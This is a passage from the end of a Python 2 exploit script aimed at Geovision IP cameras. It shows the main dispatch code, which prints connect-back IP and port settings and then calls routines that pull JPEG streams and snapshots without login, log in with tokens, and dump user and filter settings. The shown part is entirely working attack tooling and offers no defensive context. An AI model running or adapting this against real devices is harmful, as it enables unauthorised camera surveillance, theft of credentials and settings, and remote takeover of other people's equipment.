        print "[i] Connect back IP:",lhost
        print "[i] Connect back PORT:",lport
 
    rhost = rhost + ':' + rport
 
 
    headers = {
        'Connection': 'close',
        'Content-Type'  :   'application/x-www-form-urlencoded',
        'Accept'    :   'gzip, deflate',
        'Accept-Language'   :   'en-US,en;q=0.8',
        'Cache-Control' :   'max-age=0',
        'User-Agent':'Mozilla'
        }
 
    # Print Model and Firmware version
    Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
    if deviceinfo:
        sys.exit(0)
 
 
    # Geovision token login within the function
    #
    if GEOtoken:
        Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
        if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).GeoToken():
            print "[!] Failed"
            sys.exit(1)
        else:
            sys.exit(0)
 
 
    if anonymous:
        if jpegstream:
            if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
                print "[!] Failed"
                sys.exit(0)
        elif picturecatch:
            if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
                print "[!] Failed"
                sys.exit(0)
        else:
            print "[!] Needed: --anonymous [--picturecatch | --jpegstream]"
            sys.exit(1)
 
    else:
        #
        # Geovision Login needed
        #
        if usersetting:
            if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
                if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).UserSetting(DumpSettings):
                    print "[!] Failed"
                    sys.exit(0)
        elif filtersetting:
            if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
                if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).FilterSetting():
                    print "[!] Failed"
                    sys.exit(0)
        elif jpegstream:
            if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
                if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings):
                    print "[!] Failed"
                    sys.exit(0)
        elif picturecatch:
            if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login():
                if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings):
                    print "[!] Failed"
                    sys.exit(0)
        else:
            print "[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting"
            sys.exit(1)
 
    sys.exit(0)
#
# [EOF]
#
